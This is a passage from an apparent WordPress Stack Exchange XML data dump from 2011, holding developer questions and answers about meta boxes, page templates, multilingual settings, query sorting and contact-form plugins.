question is, is there a way to send a template through the template_include filter without triggering this allow_url_include error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6264" LastActivityDate="2011-08-23T04:33:35.677" Title="Getting template_include to work when allow_url_include is off?" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;template&gt;&lt;php.ini&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20753" PostTypeId="2" ParentId="20744" CreationDate="2011-06-22T23:10:23.823" Score="0" ViewCount="" Body="&lt;p&gt;This isn't a WordPress question, its more suitable for StackOverflow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless, your looking for a chained menu. I've seen &lt;a href=&quot;http://www.codeassembly.com/Simple-chained-combobox-plugin-for-jQuery/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; around a lot, hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-22T23:10:23.823" CommentCount="1" />
  <row Id="20754" PostTypeId="1" AcceptedAnswerId="20771" CreationDate="2011-06-22T23:38:39.413" Score="0" ViewCount="100" Body="&lt;p&gt;Quick and dirty, I have meta boxes pertaining to concert information. (i.e. venue and location) and am trying to figure out how to &lt;strong&gt;properly display&lt;/strong&gt; them in my post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment to display the meta-box data I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$venue_info = get_post_custom_values(&quot;venue_info&quot;);&#xA;    if (isset($venue_info[0])) {&#xA;        };&#xA;?&amp;gt;&#xA;&amp;lt;?php if( $venue_info[0] ) : ?&amp;gt;&#xA;    &amp;lt;?php echo $venue_info[0] ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I realize this is a very jerry-rig way to go about displaying the data. Which is why I'm hoping to learn the proper format. Thank you for your time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what my function.php looks like incase you need it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;include('preset-library.php');&#xA;&#xA;//I create an array called $meta_box and set the array key to the relevant post type&#xA;// If custom post type, change the 'post' variable, which I don't &#xA;$meta_box['post'] = array(&#xA;&#xA;    //This is the id applied to the meta box&#xA;    'id' =&amp;gt; 'post-format-meta',  &#xA;&#xA;    //This is the title that appears on the meta box container&#xA;    'title' =&amp;gt; 'Additional Post Format Meta',    &#xA;&#xA;    //This defines the part of the page where the edit screen section should be shown&#xA;    'context' =&amp;gt; 'normal',    &#xA;&#xA;    //This sets the priority within the context where the boxes should show&#xA;    'priority' =&amp;gt; 'high',&#xA;&#xA;    //Here we define all the fields we want in the meta box&#xA;    'fields' =&amp;gt; array(&#xA;        array(&#xA;            'name' =&amp;gt; 'Venue',&#xA;            'desc' =&amp;gt; 'venue information',&#xA;            'id' =&amp;gt; 'venue_info',&#xA;            'type' =&amp;gt; 'text',&#xA;            'default' =&amp;gt; ''&#xA;        ),&#xA;        array(&#xA;            'name' =&amp;gt; 'Location',&#xA;            'desc' =&amp;gt; 'Location of the Venue',&#xA;            'id' =&amp;gt; 'location_info',&#xA;            'type' =&amp;gt; 'text',&#xA;            'default' =&amp;gt; ''&#xA;        )&#xA;    )&#xA;);&#xA;add_action('admin_menu', 'plib_add_box');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and my include is here&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Add meta boxes to post types&#xA;function plib_add_box() {&#xA;    global $meta_box;&#xA;&#xA;    foreach($meta_box as $post_type =&amp;gt; $value) {&#xA;        add_meta_box($value['id'], $value['title'], 'plib_format_box', $post_type, $value['context'], $value['priority']);&#xA;    }&#xA;}&#xA;//Formatting&#xA;function plib_format_box() {&#xA;  global $meta_box, $post;&#xA;&#xA;  // verification&#xA;  echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;plib_meta_box_nonce&quot; value=&quot;', wp_create_nonce(basename(__FILE__)), '&quot; /&amp;gt;';&#xA;&#xA;  echo '&amp;lt;table class=&quot;form-table&quot;&amp;gt;';&#xA;&#xA;  foreach ($meta_box[$post-&amp;gt;post_type]['fields'] as $field) {&#xA;      // get current post meta data&#xA;      $meta = get_post_meta($post-&amp;gt;ID, $field['id'], true);&#xA;&#xA;      echo '&amp;lt;tr&amp;gt;'.&#xA;              '&amp;lt;th style=&quot;width:20%&quot;&amp;gt;&amp;lt;label for=&quot;'. $field['id'] .'&quot;&amp;gt;'. $field['name']. '&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;'.&#xA;              '&amp;lt;td&amp;gt;';&#xA;      switch ($field['type']) {&#xA;          case 'text':&#xA;              echo '&amp;lt;input type=&quot;text&quot; name=&quot;'. $field['id']. '&quot; id=&quot;'. $field['id'] .'&quot; value=&quot;'. ($meta ? $meta : $field['default']) . '&quot; size=&quot;30&quot; style=&quot;width:97%&quot; /&amp;gt;'. '&amp;lt;br /&amp;gt;'. $field['desc'];&#xA;              break;&#xA;          case 'textarea':&#xA;              echo '&amp;lt;textarea name=&quot;'. $field['id']. '&quot; id=&quot;'. $field['id']. '&quot; cols=&quot;60&quot; rows=&quot;4&quot; style=&quot;width:97%&quot;&amp;gt;'. ($meta ? $meta : $field['default']) . '&amp;lt;/textarea&amp;gt;'. '&amp;lt;br /&amp;gt;'. $field['desc'];&#xA;              break;&#xA;          case 'select':&#xA;              echo '&amp;lt;select name=&quot;'. $field['id'] . '&quot; id=&quot;'. $field['id'] . '&quot;&amp;gt;';&#xA;              foreach ($field['options'] as $option) {&#xA;                  echo '&amp;lt;option '. ( $meta == $option ? ' selected=&quot;selected&quot;' : '' ) . '&amp;gt;'. $option . '&amp;lt;/option&amp;gt;';&#xA;              }&#xA;              echo '&amp;lt;/select&amp;gt;';&#xA;              break;&#xA;          case 'radio':&#xA;              foreach ($field['options'] as $option) {&#xA;                  echo '&amp;lt;input type=&quot;radio&quot; name=&quot;' . $field['id'] . '&quot; value=&quot;' . $option['value'] . '&quot;' . ( $meta == $option['value'] ? ' checked=&quot;checked&quot;' : '' ) . ' /&amp;gt;' . $option['name'];&#xA;              }&#xA;              break;&#xA;          case 'checkbox':&#xA;              echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;' . $field['id'] . '&quot; id=&quot;' . $field['id'] . '&quot;' . ( $meta ? ' checked=&quot;checked&quot;' : '' ) . ' /&amp;gt;';&#xA;              break;&#xA;      }&#xA;      echo     '&amp;lt;td&amp;gt;'.'&amp;lt;/tr&amp;gt;';&#xA;  }&#xA;&#xA;  echo '&amp;lt;/table&amp;gt;';&#xA;&#xA;}&#xA;// Save data from meta box&#xA;function plib_save_data($post_id) {&#xA;    global $meta_box,  $post;&#xA;&#xA;    //Verify&#xA;    if (!wp_verify_nonce($_POST['plib_meta_box_nonce'], basename(__FILE__))) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    //Check &amp;gt; autosave&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    //Check &amp;gt; permissions&#xA;    if ('page' == $_POST['post_type']) {&#xA;        if (!current_user_can('edit_page', $post_id)) {&#xA;            return $post_id;&#xA;        }&#xA;    } elseif (!current_user_can('edit_post', $post_id)) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    foreach ($meta_box[$post-&amp;gt;post_type]['fields'] as $field) {&#xA;        $old = get_post_meta($post_id, $field['id'], true);&#xA;        $new = $_POST[$field['id']];&#xA;&#xA;        if ($new &amp;amp;&amp;amp; $new != $old) {&#xA;            update_post_meta($post_id, $field['id'], $new);&#xA;        } elseif ('' == $new &amp;amp;&amp;amp; $old) {&#xA;            delete_post_meta($post_id, $field['id'], $old);&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;add_action('save_post', 'plib_save_data');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;" OwnerUserId="6423" LastEditorUserId="6423" LastEditorDisplayName="" LastEditDate="2011-06-23T07:07:49.163" LastActivityDate="2011-06-23T07:07:49.163" Title="Displaying Meta-Box Data Properly" Tags="&lt;custom-field&gt;&lt;metabox&gt;&lt;code&gt;&lt;formatting&gt;" AnswerCount="3" />
  <row Id="20755" PostTypeId="2" ParentId="20754" CreationDate="2011-06-23T01:03:04.127" Score="0" ViewCount="" Body="&lt;p&gt;I see you're storing venue and location both under the &quot;venue_info&quot; key, how do you differentiate between the two, or is that not important? &lt;code&gt;get_post_custom_values()&lt;/code&gt; returns an array because its intended use is when you expect more than one &lt;code&gt;venue_info&lt;/code&gt; key associated with a particular post. if you just want a single value, use &lt;code&gt;get_post_meta('venue_info')&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-23T01:03:04.127" CommentCount="1" />
  <row Id="20756" PostTypeId="1" AcceptedAnswerId="20848" CreationDate="2011-06-23T01:18:21.313" Score="3" ViewCount="89" Body="&lt;p&gt;Were drop-in plugins - when you copy a plugin directly inside a theme - a product of design. Or did the practice arise &quot;organically&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-06-23T14:39:07.810" CommunityOwnedDate="2011-06-23T15:03:09.817" Title="Are drop-in plugins a product of design " Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20757" PostTypeId="1" AcceptedAnswerId="20759" CreationDate="2011-06-23T01:22:40.820" Score="0" ViewCount="50" Body="&lt;p&gt;I created a stripped-down page template to use for my landing pages. But I must have cut too much out of it, because I've lost the WordPress 3.1+ Admin Bar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What functions do I need to call to get the Admin Bar to appear at the top of the page again?&lt;/p&gt;&#xA;" OwnerUserId="3399" LastActivityDate="2011-06-23T01:42:55.263" Title="Adding the Admin Bar to a page with a custom template" Tags="&lt;page-template&gt;&lt;admin-bar&gt;" AnswerCount="1" />
  <row Id="20758" PostTypeId="1" CreationDate="2011-06-23T01:28:12.297" Score="0" ViewCount="136" Body="&lt;p&gt;Good day!&#xA;I don't know much code so I've been researching on how to modify my wp-config.php file so that the content and widgets of my site will show in the four languages (aside from English) I have on there. I don't care about translating the WP interface, just the content. The WP .mo files in the languages in question are already in the wp-content/languages folder.&#xA;How would I define 4 languages in wp-config.php? Like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;define ('WPLANG', 'es_ES'); ('WPLANG', 'de_DE'); ('WPLANG', 'fr_FR'); ('WPLANG', 'ca_CA')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying things out (only way for me to learn) but ended up destroying the file and having to restore it. Besides, like I said, no reliable info on the net.&#xA;Cheers :)&lt;/p&gt;&#xA;" OwnerUserId="6425" LastActivityDate="2011-06-29T15:12:50.997" Title="How to set up WPLANG in wp-config.php for 4 languages?" Tags="&lt;multi-language&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="20759" PostTypeId="2" ParentId="20757" CreationDate="2011-06-23T01:42:55.263" Score="1" ViewCount="" Body="&lt;p&gt;Not sure exactly, but adding the following two functions should get it to work and save you other headaches as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right before the closing head tag add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And right before the closing body tag add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-06-23T01:42:55.263" CommentCount="2" />
  <row Id="20760" PostTypeId="2" ParentId="20754" CreationDate="2011-06-23T01:46:02.267" Score="1" ViewCount="" Body="&lt;p&gt;For all my custom metabox needs I am using &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;this script&lt;/a&gt;. Then to call the metadata, all I have to do is &lt;code&gt;&amp;lt;?php echo get_post_meta(get_the_ID(), '$prefix_$meta', true); ?&amp;gt;&lt;/code&gt; (where &lt;code&gt;$prefix_&lt;/code&gt; is optional and &lt;code&gt;$meta&lt;/code&gt; is the data from the specific metabox you are calling)&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-23T01:46:02.267" />
  <row Id="20761" PostTypeId="1" CreationDate="2011-06-23T01:51:35.583" Score="0" ViewCount="22" Body="&lt;p&gt;All&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i am using WordPress, here right now i have a problem How can i valid my text filed input only inter value.&#xA;Here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;  &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('num_post'); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php _e( 'Number of posts to show:' ); ?&amp;gt;&#xA;    &amp;lt;input id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'num_post' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'num_post' ); ?&amp;gt;&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php echo   $instance['num_post']; ?&amp;gt;&quot; size=&quot;3&quot; /&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5456" LastActivityDate="2011-07-23T09:27:01.260" Title="Wordpress text filed input only inter value?" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="20762" PostTypeId="1" AcceptedAnswerId="20763" CreationDate="2011-06-23T01:53:35.023" Score="0" ViewCount="57" Body="&lt;p&gt;I am creating a contact form page. Perhaps I am doing it wrong? I have something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// even when I remove this validation block it fails&#xA;if (isset($_POST['name'])) {&#xA;    // do validation ... &#xA;}&#xA;&#xA;get_header(); &#xA;?&amp;gt;&#xA;...&#xA;&amp;lt;form id=&quot;frmContact&quot; action=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; method=&quot;post&quot;&amp;gt;&#xA;    ... &#xA;&amp;lt;/form&amp;gt;&#xA;... &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used the same logic in another page and it works ... the URL is correct and if I refresh the page, it works. It just gives 404 on post back&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-23T01:55:38.393" Title="Why after a form post back, I get 404?" Tags="&lt;404-error&gt;&lt;form&gt;" AnswerCount="1" />
  <row Id="20763" PostTypeId="2" ParentId="20762" CreationDate="2011-06-23T01:55:38.393" Score="0" ViewCount="" Body="&lt;p&gt;Maybe try clearing out the action attribute:&#xA;    action=&quot;&quot;&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-06-23T01:55:38.393" CommentCount="4" />
  <row Id="20764" PostTypeId="2" ParentId="20761" CreationDate="2011-06-23T01:58:11.417" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php print (int) $instance['num_post']; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or possibly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php print absint( $instance['num_post'] ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use the second one to avoid negative values.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-06-23T01:58:11.417" CommentCount="1" />
  <row Id="20765" PostTypeId="2" ParentId="20751" CreationDate="2011-06-23T02:09:57.450" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$items = get_posts( array(&#xA;    'post_type'   =&amp;gt; 'inventory',&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'taxonomy'    =&amp;gt; 'status',&#xA;    'term'        =&amp;gt; 'in-stock'&#xA;    ) );&#xA;&#xA;$count =  count( $posts );&#xA;echo $count;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastEditorUserId="1367" LastEditorDisplayName="" LastEditDate="2011-06-23T03:22:32.843" LastActivityDate="2011-06-23T03:22:32.843" CommentCount="4" />
  <row Id="20766" PostTypeId="1" AcceptedAnswerId="20930" CreationDate="2011-06-23T02:17:37.420" Score="0" ViewCount="97" Body="&lt;p&gt;The user starts at a page showing posts of custom post type, &quot;agent&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each post displayed shows a region/custom taxonomy it belongs to and links to a page that shows all posts in the region the user clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how these posts are currently displayed,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd like to to sort these alphabetically by meta_key lname rather than by post date which appears to be the wordpress default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any input&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Script I use to get all custom post type Agents. Puts one specified post as last post. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $loop = new WP_Query( array( &#xA;        'post_type' =&amp;gt; 'agents',&#xA;        'orderby' =&amp;gt; 'meta_value',&#xA;        'meta_key' =&amp;gt; 'lname',&#xA;        'order'=&amp;gt;'ASC',&#xA;        'meta_query' =&amp;gt; array(array( 'key' =&amp;gt; 'lname' )),&#xA;        'post__not_in' =&amp;gt; array( '93' ),&#xA;        'posts_per_page' =&amp;gt; -1 ) );&#xA;    $loop2 = new WP_Query( array( &#xA;        'post_type' =&amp;gt; 'agents',&#xA;        'post__in' =&amp;gt; array( '93' ) ) );&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;    if($loop-&amp;gt;have_posts() || $loop2-&amp;gt;have_posts()) { &#xA;    if($loop-&amp;gt;have_posts()) { while($loop-&amp;gt;have_posts()) { $loop-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4090" LastEditorUserId="4090" LastEditorDisplayName="" LastEditDate="2011-06-23T03:50:56.777" LastActivityDate="2011-06-24T12:06:00.850" Title="Sort taxonomy page alphabetically by meta rather than default post date" Tags="&lt;custom-taxonomy&gt;&lt;post-meta&gt;&lt;sort&gt;" AnswerCount="3" />
  <row Id="20767" PostTypeId="2" ParentId="20766" CreationDate="2011-06-23T02:29:50.590" Score="0" ViewCount="" Body="&lt;p&gt;Maybe try something like this before the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;query_posts( wp_parse_args( $query_string, array(&#xA;    'meta_key' =&amp;gt; 'your_meta_key',&#xA;    'orderby' =&amp;gt; 'meta_value'&#xA;    ) ) );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-06-23T02:29:50.590" CommentCount="1" />
  <row Id="20770" PostTypeId="1" CreationDate="2011-06-23T02:37:08.247" Score="0" ViewCount="65" Body="&lt;p&gt;When user search and there is no results found wordpress still return 200 OK. I want to change it to 404 Not Found. Is it possible to return 404 Not Found header in search.php? If yes, how to do that?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="6426" LastEditorDisplayName="" LastEditDate="2011-06-23T03:20:19.227" LastActivityDate="2011-06-23T16:10:51.660" Title="How to return HTTP 404 when no search results found?" Tags="&lt;search&gt;&lt;wordpress.org&gt;&lt;http&gt;&lt;404&gt;" AnswerCount="1" />
  <row Id="20771" PostTypeId="2" ParentId="20754" CreationDate="2011-06-23T02:42:27.620" Score="1" ViewCount="" Body="&lt;h3&gt;To check for meta key value then display:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( get_post_meta( $post-&amp;gt;ID, 'venue_info', true ) ) : echo get_post_meta( $post-&amp;gt;ID, 'venue_info', true )&#xA;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;via: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;The Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-06-23T02:42:27.620" CommentCount="1" />
  <row Id="20772" PostTypeId="2" ParentId="20766" CreationDate="2011-06-23T02:47:09.873" Score="0" ViewCount="" Body="&lt;p&gt;Pretty much the same as the above to answers, but using &lt;code&gt;meta_query&lt;/code&gt; instead of &lt;code&gt;meta_key&lt;/code&gt;. &lt;code&gt;meta_key&lt;/code&gt; was deprecated as of WP 3.1.  I'm not sure if ordering by &lt;code&gt;meta_value&lt;/code&gt; still works in this case, however. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpse20766args = array(&#xA;     'orderby'  =&amp;gt; 'meta_value',&#xA;     'order'    =&amp;gt; 'ASC',&#xA;     'post_type'    =&amp;gt; 'agent',&#xA;     'posts_per_page' =&amp;gt; -1,&#xA;     'meta_query'   =&amp;gt; array(&#xA;        array( &#xA;            'key' =&amp;gt; 'lname'&#xA;        )&#xA;     ) &#xA;);&#xA;&#xA;$wpse20766q = new WP_Query( $wpse20766args );&#xA;&#xA;// then the loop...&#xA;if( $wpse20766q-&amp;gt;have_posts() ):&#xA;while( $wpse20766q-&amp;gt;have_posts() ) :&#xA;$wpse20766q-&amp;gt;the_post(); &#xA;&#xA;// do stuff...&#xA;&#xA;endwhile;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-06-23T02:47:09.873" CommentCount="4" />
  <row Id="20773" PostTypeId="2" ParentId="20758" CreationDate="2011-06-23T03:16:57.980" Score="1" ViewCount="" Body="&lt;p&gt;if you are somehow using .mo files to translate the content strings (and your theme is calling the necessary __() or _e() functions)&#xA;then you could possibly get away with a much simpler option than wpml.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use the simple but effective plugin &lt;a href=&quot;http://www.viper007bond.com/wordpress-plugins/other-plugins/in-their-language/&quot; rel=&quot;nofollow&quot;&gt;http://www.viper007bond.com/wordpress-plugins/other-plugins/in-their-language/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it detects language of browser if possible and then sets the wp locale accordingly.&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-06-23T03:16:57.980" />
  <row Id="20774" PostTypeId="1" AcceptedAnswerId="20808" CreationDate="2011-06-23T03:45:13.773" Score="0" ViewCount="42" Body="&lt;p&gt;In Settings-Reading I have selected a static page from my &quot;Front page displays&quot;. My Front page is &quot;Home&quot; and my Posts page is &quot;News&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also added a Custom Post Type called &quot;Project&quot; without an archive or a slug and I have added a page &quot;Projects&quot; which uses the template &lt;code&gt;projects.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far so good, all is working, except one thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I visit a single Project (CPT), in my top navigation &quot;News&quot; becomes selected. In the body-tag it gets the class &lt;code&gt;single single-project postid-114 single-format-standard logged-in&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the nav-menu News has a class of &lt;code&gt;page_item page-item-6 current_page_parent&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand why this (News getting the &lt;code&gt;current_page_parent&lt;/code&gt;-class) would be happening, as I expected that none of the page_items would become selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I get rid of this?&lt;/li&gt;&#xA;&lt;li&gt;And ideally, how can I make it so that &quot;Projects&quot; becomes selected?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Below a screenshot to (hopefully) clarify things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://img.skitch.com/20110623-8gs8e2cx6eeb2qgata5mn8s7j.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastEditorUserId="2015" LastEditorDisplayName="" LastEditDate="2011-06-23T06:48:47.527" LastActivityDate="2011-06-23T09:43:56.250" Title="Why is Posts page selected when showing single Custom Post Type?" Tags="&lt;custom-post-types&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20775" PostTypeId="1" CreationDate="2011-06-23T04:05:10.647" Score="0" ViewCount="35" Body="&lt;p&gt;I am newbie to wordpress. In wordpress I have made a menu using mega menu plugin. But my requirment is to make a menu with different color in different tabs. Just like this &lt;a href=&quot;http://www.5elementscorp.com/&quot; rel=&quot;nofollow&quot;&gt;site menu&lt;/a&gt; &#xA;so tell me how to that.Welcome to any kind of suggestion.&lt;/p&gt;&#xA;" OwnerUserId="6170" LastActivityDate="2011-08-23T13:33:48.140" Title="styling mega menu" Tags="&lt;plugin-development&gt;&lt;custom-menus&gt;" AnswerCount="2" />
  <row Id="20776" PostTypeId="1" CreationDate="2011-06-23T04:32:38.520" Score="0" ViewCount="37" Body="&lt;p&gt;i have attached custom taxonomies to posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i'm looking for the best way, architecturally speaking, for automatically creating list that would look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;energy (32):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how to build a solar system (asaf)&lt;/li&gt;&#xA;&lt;li&gt;how to fix a solar panel (saar)&lt;/li&gt;&#xA;&lt;li&gt;managing your lead-acid deep-cycle battery (ofra)&lt;/li&gt;&#xA;&lt;li&gt;hybrid system design (asaf) &lt;/li&gt;&#xA;&lt;li&gt;take the green pill (saar)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;more energy? -&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;explanation: it should query all instances of a specific taxonomy (let say tags, and afterwards i'll do the same with other taxonomies as well) and make a list of that will have the tag name as a title with number of posts in the tag in brackets, and a list of the newest posts under that list with the author name in brackets.each post should link to the post, and name of author should link to the author page.&#xA;in the bottom it should have a generic link to that specific tag archive page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the function i'm trying to build should generate that list automatically for every tag that has more then 10 posts tagged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the next difficulty level is to make it show every post only one time (for posts that are tagged with number of tags it will show the post only on the first tag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've tried to find a plugin that i can tweak to doing that but i could not find any thing close enough, so i decided to build it myself. &#xA;what i'm asking is for everything between a a tip for the road and a &quot;yesterday i've developed the same function, it's working great, here's the code. have fun&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Asaf.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-08-25T09:34:32.897" Title="making an index from custom taxonomies and tags of posts (not hierarchical taxonomy)" Tags="&lt;custom-taxonomy&gt;&lt;tags&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="20777" PostTypeId="2" ParentId="20727" CreationDate="2011-06-23T04:33:57.490" Score="2" ViewCount="" Body="&lt;p&gt;If you want to see all network traffic from your site check out the Core Control plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/core-control/&lt;/a&gt;&#xA;You can also use this to permit or shut down different requests and cron jobs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, by defining WP_HTTP_BLOCK_EXTERNAL in your wp-config.php this blocks all external requests. If you want to enable WordPress update checks you will need to include api.wordpress.org in WP_ACCESSIBLE_HOSTS. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-23T04:33:57.490" />
  <row Id="20778" PostTypeId="1" AcceptedAnswerId="20783" CreationDate="2011-06-23T04:24:52.173" Score="0" ViewCount="93" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://contactform7.com/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt;. I have used it once in my wordpress website as a simple contact form. Now I have to add another contact form for registration process if someone would like to apply for a job. Now, do I have to install again the plugin? Or can I use it again? I would like also to add some function on the registration form for the applicants. &lt;/p&gt;&#xA;" OwnerUserId="6462" LastActivityDate="2011-06-23T05:54:15.440" Title="Can I use one wordpress plugin twice in a website?" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="1" />
